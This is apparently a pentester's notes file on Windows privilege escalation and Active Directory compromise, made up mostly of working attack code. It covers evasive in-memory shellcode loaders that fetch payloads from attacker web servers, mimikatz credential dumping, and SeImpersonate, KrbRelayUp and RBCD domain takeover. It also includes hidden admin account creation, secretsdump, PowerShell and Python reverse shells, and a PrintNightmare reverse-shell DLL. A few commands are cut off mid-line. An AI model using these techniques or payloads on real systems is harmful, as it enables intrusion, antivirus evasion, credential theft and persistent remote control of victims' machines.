######## LPE/HOST ######## | | Vulns to check : HiveNightmare, PrintNightmare | *********** Domain info *********** | .. code-block:: powershell net user johndoe /domain net group /domain "Domain Admins" echo "$env:logonserver" 2>&1 Get-WmiObject -Namespace root\cimv2 -Class Win32_ComputerSystem | Select Name, Domain Get-WmiObject -Class Win32_NTDomain | select DomainControllerName, DomainControllerAddress, DomainName, DnsForestName Test-ComputerSecureChannel -Verbose # -Server "DC01.domain.com" | .. code-block:: powershell # Retrieve infos with LDAP queries $domainObj = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain();$domainObj $LDAP = "LDAP://" + $domainObj.PdcRoleOwner.Name + "/" + ([adsi]'').distinguishedName $direntry = New-Object System.DirectoryServices.DirectoryEntry($LDAP) $dirsearcher = New-Object System.DirectoryServices.DirectorySearcher($direntry) $dirsearcher.filter="objectCategory=user" $users = $dirsearcher.FindAll() $dirsearcher.filter="objectCategory=group" $groups = $dirsearcher.FindAll() $dirsearcher.filter="objectCategory=computer" $computers = $dirsearcher.FindAll() $dirsearcher.filter="(&(isCriticalSystemObject=TRUE))" $CriticalSystemObjects = $dirsearcher.FindAll() $DomainObjects = $users + $computers + $groups # Print users and list groups if any, check for admincount property Foreach($obj in $users) { $name = $obj.Properties["name"]; $state = "" if ( [bool]($obj.Properties["userAccountControl"][0] -band 0x000002)){ $state += " Disabled" } if ( [bool]($obj.Properties["userAccountControl"][0] -band 0x010000)){ $state += " PasswordNeverExpires" } if ( [bool]($obj.Properties["userAccountControl"][0] -band 0x800000)){ $state += " PasswordExpired" } if ( $obj.Properties['admincount'] -ne $null ){ $state += " ADMINCOUNT" } Write-Host "USERS# --- $name ---$state" -ForegroundColor Green $memberof = $obj.Properties['memberof'] if ( $memberof -ne $null){ $memberof | ForEach-Object { "USERS# $_" } -end { "USERS#" } } } # Print populated groups, check for admincount property Foreach($obj in $groups) { $name = $obj.Properties["name"] $member = $obj.Properties['member'] $admincount = $obj.Properties['admincount'] if ( $admincount -ne $null ){ $admincount = "(ADMINCOUNT)" } if ( $member -ne $null){ Write-Host "GROUPS# --- $name --- $admincount" -ForegroundColor Green $member | ForEach-Object { "GROUPS# $_" } -end { "GROUPS#" } } } # List computers with os version Foreach($obj in $computers ) { $name = $obj.Properties['dnshostname']; $state = "" if ( [bool]($obj.Properties["userAccountControl"][0] -band 0x000002)){ $state += " Disabled" } $os = $obj.Properties['operatingsystem']; $osversion = $obj.Properties['operatingsystemversion'] Write-Host "COMPUTERS# $name -- $os -- $osversion -- $state" } # List SPNs foreach($obj in $DomainObjects) { $name = $obj.Properties["name"] $serviceprincipalname = $obj.Properties['serviceprincipalname'] if ($serviceprincipalname -ne $null){ Write-Host "SPN# --- $name --- " -ForegroundColor Green $serviceprincipalname | ForEach-Object { "SPN# $_" } -end { "SPN#" } } } # List ACLs, exclude CriticalSystemObjects, filter domain objects $CriticalSystemObjectsSID = $CriticalSystemObjects | ForEach-Object { $sid = $_.Properties["objectSid"][0] ; if ($sid -ne $null){(New-Object System.Security.Principal.SecurityIdentifier($_.Properties["objectSid"][0],0)).Value }} $DomainObjectsSID = $DomainObjects | ForEach-Object { $sid = $_.Properties["objectSid"][0] ; if ($sid -ne $null){(New-Object System.Security.Principal.SecurityIdentifier($_.Properties["objectSid"][0],0)).Value }} Foreach($obj in $DomainObjects) { $name = $obj.Properties["name"] $aclList = (New-Object System.DirectoryServices.DirectoryEntry($obj.Path)).PSBase.ObjectSecurity.GetAccessRules($true, $false, [System.Security.Principal.SecurityIdentifier]) foreach($ACL in $aclList){try{ if ( $CriticalSystemObjectsSID.Contains($ACL.IdentityReference.Value) ){ continue } if ( -Not $DomainObjectsSID.Contains($ACL.IdentityReference.Value) ){ continue } $Identity = (New-Object System.Security.Principal.SecurityIdentifier($ACL.IdentityReference)).Translate([System.Security.Principal.NTAccount]).Value $Rights = $ACL.ActiveDirectoryRights Write-host "ACE# -- $name <-- $Identity ($Rights)" }catch{}} } # List SYSVOL shares files of Domain Controllers foreach ($Server in $domainObj.DomainControllers.Name){ Get-ChildItem "\\$Server\SYSVOL\$($domainObj.Name)" -File -Recurse -ErrorAction SilentlyContinue -Force | Select Length, FullName |Out-String -width 999 } # List Shares (test 445 for each computer with 300ms timeout, list shares and check if readable/writable) foreach ($Server in $computers.Properties.dnshostname){ $c=[System.Net.Sockets.TcpClient]::new();if($c.ConnectAsync($Server,445).Wait(300)){$c.Close()}else{continue} (net view $Server /all)|foreach{$infos=convertfrom-string $_.trim() -delim '\s{2,}' -propertynames 'Share','Type','UsedAs','Comment'; if ($infos.Type -eq 'Disk'){$shareName=$infos.Share; $state=""; if([System.IO.Directory]::Exists("\\$Server\$shareName")){$state+="R"}else{$state+="-"} $f="\\$Server\$shareName\testwritable";Try {[io.file]::OpenWrite($f).close();Remove-Item $f;$state+="W"}Catch{$state+="-"} Write-Host " $state \\$Server\$shareName ## $($infos.UsedAs) $($infos.Comment)"}} } | **** Misc **** | https://book.hacktricks.xyz/v/fr/windows-hardening/basic-cmd-for-pentesters .. code-block:: powershell # Users whoami /all net user ; ls / ; ls /users/ ; ls /users/* ; ls /users/*/* ; ls /users/*/*/* # Groups net localgroup ; net localgroup "Remote Management Users" ; net localgroup "Remote Desktop Users" # PS history cat (Get-PSReadlineOption).HistorySavePath ls C:\Users\*\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt # PowerShell Script Block Logging (just list events by user) Get-WinEvent -FilterHashtable @{ logname = "*Operational"; id = 4104 } | select RecordId, TimeCreated, @{name='UserName';expression= {$_.UserId.Translate([System.Security.Principal.NTAccount])}}, MachineName, LevelDisplayName | Sort-Object -Property RecordId|Format-Table -AutoSize|Out-String -width 999 # PowerShell Script Block Logging (print all messages) Get-WinEvent -FilterHashtable @{ logname = "*Operational"; id = 4104 } | select RecordId, TimeCreated, @{name='UserName';expression= {$_.UserId.Translate([System.Security.Principal.NTAccount])}}, LevelDisplayName, MachineName, Message | Sort-Object -Property RecordId # Search for files Get-ChildItem -Include proof.txt, local.txt, *.kdbx -Path / -Recurse -ErrorAction SilentlyContinue Get-ChildItem -Path C:\Users -Include *.kdbx,*.txt,*.pdf,*.xls,*.xlsx,*.doc,*.docx,*.ini -File -Recurse -ErrorAction SilentlyContinue # Listening ports netstat -aon # Process [System.Diagnostics.Process]::GetCurrentProcess()|select * # Current process info [System.Diagnostics.Process]::GetProcesses()|where {$_.Path -notmatch "^$" -and $_.Company -notmatch "Microsoft*" -and $_.ProcessName -notmatch "svchost|msedge|Widgets|ShellExperience|msteams|StartMenu|SearchHost"} | Select ID,SI,Path|Format-Table -AutoSize|Out-String -width 9999 Get-WmiObject Win32_Process | where {$_.Path -notmatch "^$" -and $_.Company -notmatch "Microsoft*" -and $_.ProcessName -notmatch "svchost|msedge|Widgets|ShellExperience|msteams|StartMenu|SearchHost"} | Select ExecutablePath,@{Label="Owner";Expression={$_.GetOwner().User}},Handle,CommandLine|Format-Table -AutoSize|Out-String -width 9999 # Softs ls /program*/* Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*|Select-Object DisplayName,DisplayVersion,Publisher,InstallDate|Format-Table|Out-String -width 9999 Get-ItemProperty HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*|Select-Object DisplayName,DisplayVersion,Publisher,InstallDate|Format-Table|Out-String -width 9999 Get-WmiObject -Class Win32_Product | select Vendor,Name,Version |Format-Table|Out-String -width 9999 # Tasks Get-ScheduledTask|where{$_.Author-notmatch "Microsoft*|^$|SYSTEM|^*SystemRoot*"}|ForEach-Object{"-"*100;schtasks.exe /query /fo LIST /v /tn $_.URI}|Out-String -width 9999 | | Retrieve env from given process id : https://gitlab.com/charles.gargasson/divers/-/tree/master/getenv | ***** Creds ***** RunAS ***** | Start process as another user with runas (https://juggernaut-sec.com/runas/) | You probably need a GUI interface (rdp) .. code-block:: powershell # cmdkey /list # Check for saved creds # runas /user:DOMAIN\Administrator /savecred "powershell -c ls" # Use saved creds # powershell -ep bypass $user = 'JohnDoe' $pass = 'JohnDoePassword' $cmd = '-c "whoami /all"' $shell = 'POWERSHELL.EXE' $domain = hostname # Modify if any or distant machine name $passwd = ConvertTo-SecureString $pass -AsPlaintext -Force $cred = New-Object System.Management.Automation.PSCredential("$domain\$user", $passwd) # No output Start-Process -FilePath $shell -Credential $cred -ArgumentList $cmd # Retrieve stdout & stderr $pinfo = New-Object System.Diagnostics.ProcessStartInfo $pinfo.FileName = $shell $pinfo.UserName = $user $pinfo.Domain = $domain $pinfo.Password = ConvertTo-SecureString $pass -AsPlaintext -Force $pinfo.RedirectStandardError = $true $pinfo.RedirectStandardOutput = $true $pinfo.UseShellExecute = $false $pinfo.CreateNoWindow = $true $pinfo.Arguments = $cmd $pinfo.WorkingDirectory = 'C:\' $p = New-Object System.Diagnostics.Process $p.StartInfo = $pinfo $p.Start() | Out-Null $stdout = $p.StandardOutput.ReadToEnd() $stderr = $p.StandardError.ReadToEnd() $p.WaitForExit() Write-Host "stdout: $stdout" Write-Host "stderr: $stderr" Write-Host "exit code: " + $p.ExitCode | WinRM ***** | Start process as another user with WinRM protocol (localhost or remote target) | User must be part of "Remote Management Users" group .. code-block:: powershell $user = 'JohnDoe' $pass = 'JohnDoePassword' $domain = hostname # Modify if !self $machine = hostname # Modify if !self Test-WsMan $machine # Test is WINRM service is available $passwd = ConvertTo-SecureString $pass -AsPlaintext -Force $cred = New-Object System.Management.Automation.PSCredential("$domain\$user", $passwd) $session = New-PSSession -ComputerName $machine -Credential $cred Get-PSSession # List sessions Enter-PSSession -session $session # Interactive PS session (PS commands only) # Invoke-Command -session $session -scriptblock { whoami /all } # Invoke-Command -session $session -scriptblock { powershell -c "ls" } # Exit-PSSession # exit 0 # Remove-PSSession $session | ******** Services ******** .. code-block:: powershell # List services Get-CimInstance -ClassName win32_service|Select Name,State,StartMode,StartName,PathName|Format-Table|Out-String -width 999|findstr /i /v /c:"\Windows" /c:"\Microsoft" # Retrieve infos about service sc.exe qc "MyService" sc.exe query "MyService" $svc="MyService";$r=sc.exe sdshow $svc;$r=ConvertFrom-SddlString "$r";%{$r.DiscretionaryAcl-replace": AccessAllowed \(|, |\)","`n`t"} # Permissions | check for unquoted path : | If you see unquoted path : C:\\dir\\a b\\c.exe instead of "C:\\dir\\a b\\c.exe" | The system will try C:\\dir\\a.exe path first before "C:\\dir\\a b\\c.exe" | If C:\\dir\\ is writable then you can create a fake service | (BTW folders created into C:\\ have extended rights by default) .. code-block:: powershell # Check if "C:\dir\" is writable, F (full access), AD (append data/add subdirectory), WD (write data/add file) icacls "C:\dir\" | Put a payload at "C:\\dir\\a.exe" | Then start the service .. code-block:: powershell # Start service sc.exe start "MyService" | | DLL Hijaking : https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dll-hijacking | Look for dll you can replace (existing or missing ones) | Export the service PE file to your machine for investigation. | You can dynamically search for missing DLL with procmon, or statically search for DLL names into text section with rz-bin .. code-block:: bash rz-bin -zzz /tmp/share/myservice.exe | grep -i dll | ********* AV Bypass ********* | Requirements: | - Web server (to host payloads) | - Connectivity between your target and your web server | - /var/www/html/python.zip (pick a stable version from https://www.python.org/downloads/windows/) | ref : https://github.com/ustayready/python-pentesting/blob/master/pyinjector.py | Installing donut package (transform exe to shellcode) .. code-block:: bash pip3 install -U donut-shellcode --break-system-packages | | This python function load encoded shellcode payload from url and load it in-memory heap .. code-block:: bash cat <<'EOF'| xxd -plain | tr -d '\n' | rev | sudo tee /var/www/html/loadsc >/dev/null import ctypes, ctypes.wintypes as wt import gzip, io, urllib.request as r, platform as p def load(url): print(f"[*] Given URL : {url}") kernel32 = ctypes.windll.kernel32 buff = bytes.fromhex(gzip.open(io.BytesIO(r.urlopen(url).read()),'rb').read()[::-1].decode("utf-8")) lenbuff = len(buff) HeapCreate = kernel32.HeapCreate HeapCreate.argtypes = [wt.DWORD, ctypes.c_size_t, ctypes.c_size_t] HeapCreate.restype = wt.HANDLE heap = HeapCreate(0x00040000, lenbuff, 0) HeapAlloc = kernel32.HeapAlloc HeapAlloc.argtypes = [wt.HANDLE, wt.DWORD, ctypes.c_size_t] HeapAlloc.restype = wt.LPVOID HeapAlloc(heap, 0x00000008, lenbuff) RtlMoveMemory = kernel32.RtlMoveMemory RtlMoveMemory.argtypes = [wt.LPVOID, wt.LPVOID, ctypes.c_size_t] RtlMoveMemory.restype = wt.LPVOID RtlMoveMemory(heap, buff, lenbuff); del buff ; print(f"[*] Loading SC, Len:{lenbuff}\n") CreateThread = kernel32.CreateThread CreateThread.argtypes = [wt.LPVOID, ctypes.c_size_t, wt.LPVOID,wt.LPVOID, wt.DWORD, wt.LPVOID] CreateThread.restype = wt.HANDLE Thread = CreateThread(0, 0, heap, 0, 0, 0) WaitForSingleObject = kernel32.WaitForSingleObject WaitForSingleObject.argtypes = [wt.HANDLE, wt.DWORD] WaitForSingleObject.restype = wt.DWORD WaitForSingleObject(Thread, 0xFFFFFFFF) print(f"\n[*] {p.platform()} Python {p.python_version()} ({p.architecture()[0]})") EOF | | This python function load encoded shellcode payload from url and load it in-memory with VirtualAlloc .. code-block:: bash cat <<'EOF'| xxd -plain | tr -d '\n' | rev | sudo tee /var/www/html/loadscva >/dev/null import ctypes as c, gzip, io, urllib.request as r, platform as p def load(url): print(f"[*] Given URL : {url}") k32 = c.windll.kernel32 ; k32.VirtualAlloc.restype = c.c_void_p ct = k32.CreateThread ; ct.argtypes = ( c.c_int, c.c_int, c.c_void_p, c.c_int, c.c_int, c.POINTER(c.c_int) ) ; ct.restype = c.c_void_p buff = bytes.fromhex(gzip.open(io.BytesIO(r.urlopen(url).read()),'rb').read()[::-1].decode("utf-8")) lenbuff = len(buff) ; space = k32.VirtualAlloc(c.c_int(0),c.c_int(lenbuff),c.c_int(0x3000),c.c_int(0x40)) ; buff = ( c.c_char * lenbuff ).from_buffer_copy( buff ) k32.RtlMoveMemory(c.c_void_p(space),buff,c.c_int(lenbuff)) ; buff = "" ; del buff ; print(f"[*] Loading SC, Len:{lenbuff}\n") handle = ct(c.c_int(0),c.c_int(0),c.c_void_p(space),c.c_int(0),c.c_int(0),c.pointer(c.c_int(0))) k32.WaitForSingleObject(handle, -1); Print(f"\n[*] Graceful exit") print(f"\n[*] {p.platform()} Python {p.python_version()} ({p.architecture()[0]})") EOF | | For demonstration we will use mimikatz as payload .. code-block:: bash # Set any parameter you want but if empty donut will send args to stdin at runtime (you can set it to space " " if you don't want any) # PARAMS='privilege::debug sekurlsa::logonpasswords' PARAMS=' ' INPUT_FILE='/var/www/html/mimikatz64.exe' SHELLCODE_OUTPUT_FILE='/tmp/mimikatz64sc' ENCODED_PAYLOAD_FILE='/var/www/html/mimi64' python3 -c "import donut; donut.create(thread=0,compress=2,bypass=1,exit_opt=3,arch=2,file='$INPUT_FILE',output='$SHELLCODE_OUTPUT_FILE',params=bytes.fromhex('$( echo -en "$PARAMS" | xxd -plain | tr -d '\n' )').decode('utf-8'))" cat "$SHELLCODE_OUTPUT_FILE" | xxd -plain | tr -d '\n' | rev | gzip | sudo tee "$ENCODED_PAYLOAD_FILE" >/dev/null # test : msfvenom -p windows/x64/exec CMD="calc.exe" -f raw | xxd -plain | tr -d '\n' | rev | gzip | sudo tee /var/www/html/sc >/dev/null | | Powershell script to call python .. code-block:: powershell cat <<'EOF'|sudo tee /var/www/html/startmimi64 $loadsc="$web/loadsc"; $sc="$web/mimi64"; $python="$web/python.zip"; $dir="$env:TEMP"; $Exists = Test-Path "$dir\python\";If ($Exists -eq $False) {(New-Object Net.WebClient).DownloadFile($python ,"$dir\python.zip");Add-Type -assembly "system.io.compression.filesystem";[io.compression.zipfile]::ExtractToDirectory("$dir\python.zip", "$dir\python\")}; &$dir\python\python.exe -c "import urllib.request as r;exec(bytes.fromhex(r.urlopen('$loadsc').read()[::-1].decode('utf-8')));load('$sc')"; EOF # &$env:TEMP\python\python.exe -c "print('test')" | .. code-block:: powershell $web="http://1.2.3.4";IEX(New-Object Net.WebClient).downloadString("$web/startmimi64") # ONLINE TEST for heap method (educational purpose only) $web="https://dl.offensive.run";IEX(New-Object Net.WebClient).downloadString("$web/startmimi64") # ONLINE TEST for VirtualAlloc method (educational purpose only) $web="https://dl.offensive.run";IEX(New-Object Net.WebClient).downloadString("$web/startmimi64va") | ********************** SeImpersonatePrivilege ********************** | SeImpersonatePrivilege privilege is enabled on services account like iis or mssql .. code-block:: powershell whoami /all [...] Privilege Name Description State ============================= ========================================= ======== SeImpersonatePrivilege Impersonate a client after authentication Enabled [...] | SweetPotato leverage SeImpersonate Privilege to run arbitrary commands as SYSTEM using DCOM, WinRM, EfsRpc, or PrintSpoofer method. | | Let's abuse SeImpersonatePrivilege privilege with SweetPotato.exe as shellcode | (Require to serve embeddable python as python.zip, loadsc from AV Bypass section, and to install donut-shellcode with pip) | You need to retrieve or compile SweetPotato.exe .. code-block:: bash sudo wget https://github.com/Flangvik/SharpCollection/raw/master/NetFramework_4.7_Any/SweetPotato.exe -O /var/www/html/SweetPotato.exe .. code-block:: bash # Params IP="192.168.1.163" PORT=53 WRITABLEPATH="C:\\Users\\user.DOMAIN\\Documents" # (Writable by current user to download python) INPUT_FILE='/var/www/html/SweetPotato.exe' PARAMS="import urllib.request as r;exec(bytes.fromhex(r.urlopen('http://$IP/payload').read()[::-1].decode('utf-8')));" PARAMS="-e EfsRpc -p \"$WRITABLEPATH\python\python.exe\" -a "'"-c \"'"$PARAMS"'\""' .. code-block:: bash # Python reverse shell payload cat </dev/null sudo mv /var/www/html/payloadtmp /var/www/html/payload # Generating SweetPotato shellcode with donut python3 -c "import donut; donut.create(file='$INPUT_FILE',output='/tmp/sc',params=bytes.fromhex('$(echo -n "$PARAMS" | xxd -plain | tr -d '\n')').decode('utf-8'))" cat "/tmp/sc" | xxd -plain | tr -d '\n' | rev | gzip | sudo tee "/var/www/html/sc" >/dev/null # Powershell script to call cat <0 (default setting is 10) | | Crackmapexec can check both of these settings | https://www.crackmapexec.wiki/ldap-protocol/check-ldap-signing | https://www.crackmapexec.wiki/ldap-protocol/machine-account-quota .. code-block:: bash crackmapexec ldap -u user -p pass -M ldap-checker # LDAP Signing crackmapexec ldap -d domain -u user -p pass -M maq # Machine Account Quota | | Then check for LDAP signing on client side (0:disabled, 1:optionnal, 2:enforced) .. code-block:: powershell Get-ItemProperty 'HKLM:\SYSTEM\CurrentControlSet\Services\ldap' | Select-Object -ExpandProperty LdapClientIntegrity | | Let's get started by serving KrbRelayUp.exe .. code-block:: powershell sudo wget https://github.com/Flangvik/SharpCollection/raw/master/NetFramework_4.7_Any/KrbRelayUp.exe -O /var/www/html/KrbRelayUp.exe | Then, run the relay phase .. code-block:: bash (New-Object System.Net.WebClient).DownloadFile('http://1.2.3.4/KrbRelayUp.exe', "$home\Documents\KrbRelayUp.exe") &$home\Documents\KrbRelayUp.exe relay -cls '000C101C-0000-0000-C000-000000000046' -p 8889 -v -d domain.com -CreateNewComputerAccount -cn evilfakehost -cp BeepBoop_7 -dc DC01 2>&1 | Sometime you need to pick another CLSID or run GetCLSID.ps1 on target to retrieve all available CLSID (some on them don't work) | https://ohpe.it/juicy-potato/CLSID/ | https://ohpe.it/juicy-potato/CLSID/GetCLSID.ps1 | WinServer2022: "000C101C-0000-0000-C000-000000000046" (MSIServer) | this CLSID is also present in W7,8,10*,2008,2012,2016 | Once relay phase is completed, we can proceed with the spawn phase. | For this step i’m using a powershell payload to add a new administrator, and i'm wrapping it into a golang executable .. code-block:: bash cat <<'EOF'>/tmp/payload.ps1 net user hackerbeepboop Blabliblou_1 /ADD ; net localgroup Administrators hackerbeepboop /ADD ; net localgroup "Remote Desktop Users" hackerbeepboop /ADD EOF cat </tmp/beepboop.go package main import ("os/exec";"fmt";"log") func main() { cmd := exec.Command("powershell.exe","-NoProfile","-NonInteractive","-EncodedCommand","$(cat /tmp/payload.ps1 | iconv -f UTF8 -t UTF16LE | base64 -w0)") out, err := cmd.Output() if err != nil {log.Fatal(err)} else {fmt.Printf("%s",out)} } EOF env GOOS=windows GOARCH=amd64 CGO_ENABLED=1 CC=x86_64-w64-mingw32-gcc go build -ldflags "-s -w" -o /tmp/beepboop.exe /tmp/beepboop.go chmod 644 /tmp/beepboop.exe && sudo mv /tmp/beepboop.exe /var/www/html/ | Next, call KrbRelayUp.exe to perform the spawn step .. code-block:: bash (New-Object System.Net.WebClient).DownloadFile('http://1.2.3.4/beepboop.exe', "$home\Documents\beepboop.exe") &$home\Documents\KrbRelayUp.exe spawn -d domain.com -cn evilfakehost$ -cp BeepBoop_7 -dc DC01 -sc "$home\Documents\beepboop.exe" 2>&1 | **** RBCD **** | Same attack as KrbRelayUp, without KrbRelayUp | | I'm using chisel proxy (as shellcode) to connect to DC, and bypass FW on target that doesn't allow SMB .. code-block:: bash # Run chisel server docker run --name chisel --rm -d -p0.0.0.0:443:80 jpillora/chisel server --socks5 --reverse -v --auth bla:bla --port 80 # Prepare CHISEL shellcode IP="192.168.1.163" PORT="443" SOCKS="5000" PARAMS="client -v --auth bla:bla ${IP}:${PORT} R:0.0.0.0:${SOCKS}:socks" python3 -c "import donut; donut.create(file='/var/www/html/chisel.exe',output='/tmp/chiselsc',params=bytes.fromhex('$(echo "$PARAMS" | tr -d '\n' | xxd -plain | tr -d '\n')').decode('utf-8'))" cat /tmp/chiselsc | xxd -plain | tr -d '\n' | rev | gzip | sudo tee /var/www/html/chiselsc >/dev/null echo -e '[ProxyList]\nsocks5 172.17.0.2 5000'>/tmp/TARGET1 # Powershell script to call echo "\$ip=\"$IP\"" | sudo tee /var/www/html/startchisel cat <<'EOF'|sudo tee -a /var/www/html/startchisel $loadsc="http://$ip/loadsc"; $sc="http://$ip/chiselsc" $python="http://$ip/python.zip"; $dir="$env:TEMP";$Exists = Test-Path "$dir\python\";If ($Exists -eq $False) {(New-Object Net.WebClient).DownloadFile($python ,"$dir\python.zip");Add-Type -assembly "system.io.compression.filesystem";[io.compression.zipfile]::ExtractToDirectory("$dir\python.zip", "$dir\python\")} $arguments = @("-c","""import urllib.request as r;exec(bytes.fromhex(r.urlopen('$loadsc').read()[::-1].decode('utf-8')));load('$sc')""") Start-Process -NoNewWindow -FilePath "$dir\python\python.exe" -ArgumentList $arguments EOF # IEX(New-Object Net.WebClient).downloadString('http://192.168.1.163/startchisel') | | Settings vars .. code-block:: bash UNPRIVILEGED_USER="user" # (Domain user) UNPRIVILEGED_USER_PASS="Testtesttest1!" IMPERSONATED_USER="administrator" # Impersonated domain user, pick an admin :) ! TARGET_MACHINE="DESKTOP-6495N20" # The machine you want access on TARGET_MACHINE_IP="127.0.0.1" # If the proxy is on the targeted machine leave it to default "127.0.0.1" DOMAIN="domain.local" DC_NAME="WIN-SPQIBGNU0G1" DC_IP="172.16.130.153" PROXY='proxychains -q -f /tmp/TARGET1' NEW_MACHINE_NAME='FIOEJIOFJIFEIE' # 15 characters MAX NEW_MACHINE_PASS='a1_FMEROGKIOJCVIODVHDSHFIOEJFI' | | Exploit .. code-block:: bash # Move to a new dir cd $(mktemp -d) # Read the attributes of targeted machine (INFO) $PROXY rbcd.py -delegate-to "$TARGET_MACHINE\$" -dc-ip "$DC_IP" -action 'read' "$DOMAIN"/"$UNPRIVILEGED_USER":"$UNPRIVILEGED_USER_PASS" # Add a new computer to domain $PROXY addcomputer.py -computer-name "$NEW_MACHINE_NAME\$" -computer-pass "$NEW_MACHINE_PASS" -dc-ip "$DC_IP" -dc-host "$DC_NAME.$DOMAIN" "$DOMAIN"/"$UNPRIVILEGED_USER":"$UNPRIVILEGED_USER_PASS" # Append value to the msDS-AllowedToActOnBehalfOfOtherIdentity attribute of targeted machine $PROXY rbcd.py -delegate-to "$TARGET_MACHINE\$" -delegate-from "$NEW_MACHINE_NAME\$" -dc-ip "$DC_IP" -action 'write' "$DOMAIN"/"$UNPRIVILEGED_USER":"$UNPRIVILEGED_USER_PASS" # Retrieve TGT for targeted machine with impersonated user, using the new computer account $PROXY getST.py -spn "cifs/$TARGET_MACHINE.$DOMAIN" -impersonate "$IMPERSONATED_USER" -dc-ip "$DC_IP" "$DOMAIN"/"$NEW_MACHINE_NAME\$":"$NEW_MACHINE_PASS" # Read TGT export KRB5CCNAME="$(pwd)/$IMPERSONATED_USER.ccache" klist "$KRB5CCNAME" | | Use TGT .. code-block:: bash # Use Kerberos ticket $PROXY secretsdump.py -k "$TARGET_MACHINE.$DOMAIN" -target-ip "$TARGET_MACHINE_IP" -history $PROXY wmiexec.py -k "$TARGET_MACHINE.$DOMAIN" 'powershell.exe "whoami /all"' $PROXY wmiexec.py -k "$TARGET_MACHINE.$DOMAIN" 'whoami /all' -shell-type powershell # Not the best for AV bypass $PROXY wmiexec.py -k "$TARGET_MACHINE.$DOMAIN" "net localgroup Administrators /add $DOMAIN\\$UNPRIVILEGED_USER" # EN $PROXY wmiexec.py -k "$TARGET_MACHINE.$DOMAIN" "net localgroup Administrateurs /add $DOMAIN\\$UNPRIVILEGED_USER" # FR # Reverse Shell IP="192.168.1.163" PORT=53 echo "\$ip=\"$IP\"; \$port=$PORT;" | sudo tee /var/www/html/rs cat <<'EOF'| sudo tee -a /var/www/html/rs $process="powershell.exe"; $python="http://$ip/python.zip"; $dir="$env:TEMP";$Exists = Test-Path "$dir\python\";If ($Exists -eq $False) {(New-Object Net.WebClient).DownloadFile($python ,"$dir\python.zip");Add-Type -assembly "system.io.compression.filesystem";[io.compression.zipfile]::ExtractToDirectory("$dir\python.zip", "$dir\python\")}; $arguments=@("-c","""import time,socket,os,threading,subprocess as sp;p=sp.Popen(['$process'],stdin=sp.PIPE,stdout=sp.PIPE,stderr=sp.STDOUT);s=socket.socket();s.connect(('$ip',$port));threading.Thread(target=exec,args=('while(True):o=os.read(p.stdout.fileno(),1024);s.send(o);time.sleep(0.01)',globals()),daemon=True).start();threading.Thread(target=exec,args=('while(True):i=s.recv(1024);os.write(p.stdin.fileno(),i);time.sleep(0.01)',globals())).start()"""); Start-Process -NoNewWindow -FilePath "$dir\python\python.exe" -ArgumentList $arguments; EOF # Wait for connection tail -n 0 -f /var/log/nginx/*.log & sudo nc -nvlp $PORT -s $IP CMD="IEX(New-Object Net.WebClient).downloadString('http://$IP/rs');" $PROXY wmiexec.py -k "$TARGET_MACHINE.$DOMAIN" "powershell \"$CMD\"" -nooutput -silentcommand | | CLEANUP (..you probably don't have the rights to delete the computer) .. code-block:: bash $PROXY rbcd.py -delegate-to "$TARGET_MACHINE\$" -delegate-from "$NEW_MACHINE_NAME\$" -dc-ip "$DC_IP" -action 'flush' "$DOMAIN"/"$UNPRIVILEGED_USER":"$UNPRIVILEGED_USER_PASS" $PROXY addcomputer.py -computer-name "$NEW_MACHINE_NAME\$" -computer-pass "$NEW_MACHINE_PASS" -dc-ip "$DC_IP" -dc-host "$DC_NAME.$DOMAIN" "$DOMAIN"/"$UNPRIVILEGED_USER":"$UNPRIVILEGED_USER_PASS" -delete | ****************** PrintNightmare LPE ****************** | KB : KB5004945 06 July 2021 | https://github.com/cube0x0/CVE-2021-1675 | We make use of a golang dll payload .. code-block:: bash cat <<'EOF'| tee /tmp/reverse.go package main import ( "bufio" "net" "os/exec" "strings" ) // DLL func init() { main() } func main() { conn, _ := net.Dial("tcp", "192.168.45.178:4445") for { f, _ := bufio.NewReader(conn).ReadString('\n') g := strings.TrimSuffix(f, "\n") h, i, _ := strings.Cut(g, "~") cmd := exec.Command(h, i) cmd.Stdin, cmd.Stdout, cmd.Stderr = conn, conn, conn cmd.Run() } } EOF .. code-block:: bash env GOOS=windows GOARCH=amd64 CGO_ENABLED=1 CC=x86_64-w64-mingw32-gcc go build -ldflags="-s -w" -buildmode=c-shared -o /tmp/reverse.dll /tmp/reverse.go sudo wget https://dl.offensive.run/SharpPrintNightmare.exe -O /var/www/html/SharpPrintNightmare.exe sudo cp /tmp/reverse.dll /var/www/html/ nc -nvlp 4445 .. code-block:: bash cd C:\users\any\ wget http://192.168.45.111/SharpPrintNightmare.exe -O SharpPrintNightmare.exe wget http://192.168.45.111/reverse.dll -O reverse.dll .\SharpPrintNightmare.exe C:\users\any\reverse.dll